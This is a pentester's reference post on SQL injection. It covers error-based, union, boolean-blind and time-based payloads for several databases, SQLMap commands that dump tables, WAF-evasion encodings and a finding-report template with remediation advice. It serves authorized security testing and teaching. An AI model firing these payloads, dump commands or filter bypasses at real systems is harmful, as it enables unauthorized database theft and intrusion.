TL;DR
SQL Injection remains OWASP A03:2021 (Injection) and one of the most critical web vulnerabilities you will encounter. This post covers manual detection techniques (error-based, union-based, time-based blind, boolean-based blind), SQLMap automation essentials, WAF bypass strategies, and how to write a finding report that will actually get remediated. Skip to the section you need – this is a reference, not a tutorial.
Prerequisites / Audience
This post assumes you:
- Have basic familiarity with HTTP requests and SQL syntax
- Are working in an authorized penetration test or CTF environment
- Understand how web applications interact with databases
- Have Burp Suite and SQLMap installed
This is not an introductory post. If you are new to web app testing, work through the OWASP WebGoat or PortSwigger Web Security Academy SQLi labs first.
What Is SQL Injection and Why Does It Still Matter?
SQL injection occurs when user-supplied input is concatenated into a SQL query without proper sanitization or parameterization. Despite being a solved problem at the framework level, SQLi still appears regularly in assessments – particularly in legacy applications, custom ORMs, raw query builders, and second-order injection sinks.
A vulnerable query looks like this:
-- Vulnerable
SELECT * FROM users WHERE username = '$input' AND password = '$pass';
-- Safe (parameterized)
SELECT * FROM users WHERE username = ? AND password = ?;
The impact ranges from data exfiltration to authentication bypass to full OS-level command execution, depending on database permissions and configuration.
Manual Testing Techniques
1. Error-Based Injection
Error-based SQLi extracts data by forcing the database to include query output in error messages. It is the fastest path when verbose errors are enabled.
Detection: Append a single quote to a parameter and observe.
https://example.com/products?id=1'
A You have an error in your SQL syntax message confirms injection. From there, use database-specific error extraction functions:
MySQL:
' AND extractvalue(1, concat(0x7e, (SELECT version())))-- -
MSSQL:
' AND 1=convert(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -
Oracle:
' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1))-- -
Error-based is reliable for fast data extraction but depends on verbose error responses being visible – often disabled in production. Move to blind techniques when error output is suppressed.
2. Union-Based Injection
Union-based injection appends a UNION SELECT to the original query, injecting data into the result set returned to the user. It requires knowing the number of columns in the original query and finding a column that renders to the page.
Step 1: Determine column count.
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - → error here means 2 columns
Or use NULL padding:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- - → first successful response = 3 columns
Step 2: Find a visible column.
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -
Step 3: Extract data.
' UNION SELECT NULL,username||':'||password,NULL FROM users-- -
Union-based injection is the most visible technique and easiest to confirm. It also leaves the clearest signatures in logs.
3. Boolean-Based Blind Injection
When there is no visible output or error, you can still extract data by asking the database true/false questions and observing application behavior (page content, status code, response length).
Baseline: Establish two distinct responses.
id=1 AND 1=1 →’ normal page (true)
id=1 AND 1=2 →’ different response (false)
Extract data character by character:
' AND substring((SELECT database()),1,1)='a'-- -
' AND substring((SELECT database()),1,1)='b'-- -
...
' AND substring((SELECT database()),1,1)='s'-- - → match
Binary search significantly speeds this up (compare ASCII ordinal, halve the search space). SQLMap automates this with --technique=B.
Boolean-based blind is slow manually but fully reliable. At scale, use automation.
4. Time-Based Blind Injection
When you get no behavioral difference between true and false responses – identical content, same status code – use time delays as the out-of-band channel.
MySQL:
' AND sleep(5)-- -
MSSQL:
'; WAITFOR DELAY '0:0:5'-- -
PostgreSQL:
'; SELECT pg_sleep(5)-- -
Oracle:
' AND 1=dbms_pipe.receive_message('a',5)-- -
A 5-second delay on a true condition confirms injection. Combine with conditional logic for data extraction:
' AND IF(substring((SELECT database()),1,1)='s', sleep(5), sleep(0))-- -
Time-based blind is the most reliable detection technique for opaque applications, but extracting full datasets character-by-character is extremely slow. In real engagements, confirm with a single delay, then hand off to SQLMap.
SQLMap Automation
SQLMap is the standard tool for automating SQL injection detection and exploitation. Use it after confirming the injection point manually – never fire SQLMap blind at a target.
Essential Flags
# Basic scan from URL
sqlmap -u "https://example.com/products?id=1" --batch
# Target a specific parameter
sqlmap -u "https://example.com/search" --data="q=test&cat=1" -p cat
# Specify technique (faster, less noise)
sqlmap -u "https://example.com/products?id=1" --technique=BEUSTQ
# Dump the current database
sqlmap -u "https://example.com/products?id=1" --current-db --tables --dump
# Authenticated session
sqlmap -u "https://example.com/products?id=1" --cookie="session=<PLACEHOLDER_SESSION_TOKEN>"
# From a Burp Suite request file
sqlmap -r request.txt --batch --level=3 --risk=2
Tamper Scripts
Tamper scripts modify payloads to evade filters or adapt to non-standard database configurations.
| Script | Use Case |
|---|---|
space2comment | Replace spaces with /**/ to bypass space filters |
between | Replace > with NOT BETWEEN 0 AND |
randomcase | Randomize SQL keyword casing |
charencode | URL-encode characters |
base64encode | Base64-encode the payload (some APIs decode on input) |
apostrophemask | Replace ' with UTF-8 full-width variant |
sqlmap -u "https://example.com/products?id=1" --tamper=space2comment,randomcase
Chain multiple tampers with commas. Test in Burp first to confirm the target decodes as expected before automating.
Output Formats
# Store results to CSV
sqlmap -u "..." --dump --output-dir=./results --dump-format=CSV
# XML output (useful for reporting imports)
sqlmap -u "..." --dump --dump-format=XML
SQLMap stores all session data in ~/.sqlmap/output/<target>/ – reuse with --resume to avoid redundant requests.
WAF Bypass Techniques
Modern WAFs inspect payload patterns. Your goal is not to “break” the WAF – it is to make your payload look unlike known attack signatures.
Encoding
Original: ' UNION SELECT 1,2,3-- -
URL-encoded: %27%20UNION%20SELECT%201%2C2%2C3--%20-
Double-encoded: %2527 (if application decodes twice)
Comment Injection
SQL supports several comment syntaxes. Inject comments into keywords to fragment signatures:
UN/**/ION SEL/**/ECT 1,2,3
/*!UNION*/ /*!SELECT*/ 1,2,3 -- MySQL version comment syntax
Case Variation
uNiOn SeLeCt 1,2,3
UnIoN ALL SeLeCT 1,2,3
Chunked Transfer Encoding
Some WAFs only inspect the initial request body chunk. Send the payload split across multiple chunks using Burp’s chunked encoding extension. Effectiveness depends heavily on WAF implementation.
Null Bytes and Whitespace Alternatives
'%09UNION%09SELECT -- tab instead of space
'%0aUNION%0aSELECT -- newline instead of space
'\x00UNION -- null byte (terminates some string checks)
Always validate bypass techniques in a controlled lab environment before testing against a production WAF – some WAFs will block your IP on repeated failures.
Writing the Finding Report
A SQL injection finding must communicate severity clearly and provide enough technical detail for developers to reproduce and fix it. Structure it as follows.
Finding Template
Title: SQL Injection in <PLACEHOLDER_PARAMETER> parameter of <PLACEHOLDER_ENDPOINT>
Severity: Critical
CVSS v3.1 Score: 9.8 (Critical)
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| Component | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Exploitable remotely |
| Attack Complexity | Low | No special conditions required |
| Privileges Required | None | No authentication needed |
| User Interaction | None | Automated exploitation possible |
| Confidentiality | High | Full database dump achievable |
| Integrity | High | Write/modify data possible |
| Availability | High | Database shutdown possible |
Description:
The id parameter of https://example.com/products is vulnerable to SQL injection. An unauthenticated attacker can inject arbitrary SQL statements and retrieve all records from the underlying database, including user credentials.
Evidence:
Request:
GET /products?id=1' AND sleep(5)-- - HTTP/1.1
Host: example.com
Response: 5-second delay confirmed time-based blind injection.
Extracted data (SQLMap):
Database: <PLACEHOLDER_DB_NAME>
Table: users
[<PLACEHOLDER_ROW_COUNT> entries]
+----+------------------+------------------+
| id | username | password_hash |
+----+------------------+------------------+
| 1 | admin | <PLACEHOLDER> |
+----+------------------+------------------+
Remediation:
- Immediate: Use parameterized queries / prepared statements. Never concatenate user input into SQL strings.
- Short-term: Enable a WAF rule to block SQLi patterns as a defence-in-depth layer.
- Long-term: Conduct a codebase-wide audit for raw query construction. Consider adopting an ORM that enforces parameterization by default.
References:
- OWASP SQLi Prevention Cheat Sheet
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
Conclusion
SQL injection is a well-understood vulnerability with reliable detection methods and a clear fix. The challenge in real engagements is not the technique – it is finding the injection points, bypassing defenses, and translating exploitation into a business-risk narrative that drives remediation.
Key takeaways:
- Start with manual testing to confirm injection before running automation
- Match your technique to the application response: error-based →’ union →’ boolean blind →’ time-based
- Use tamper scripts and encoding to get past WAF filters
- Write findings with CVSS scores and reproduction steps – vague reports get deprioritized
- Parameterized queries are the only reliable fix; WAF rules are a mitigation, not a solution
If this is an authorized assessment, document everything. If it is a CTF, have fun. If someone finds this while doing something unauthorized – stop.
Part of the OWASP Top 10 for Pentesters series. Related: A01 – Broken Access Control, A07 -Identification and Authentication Failures.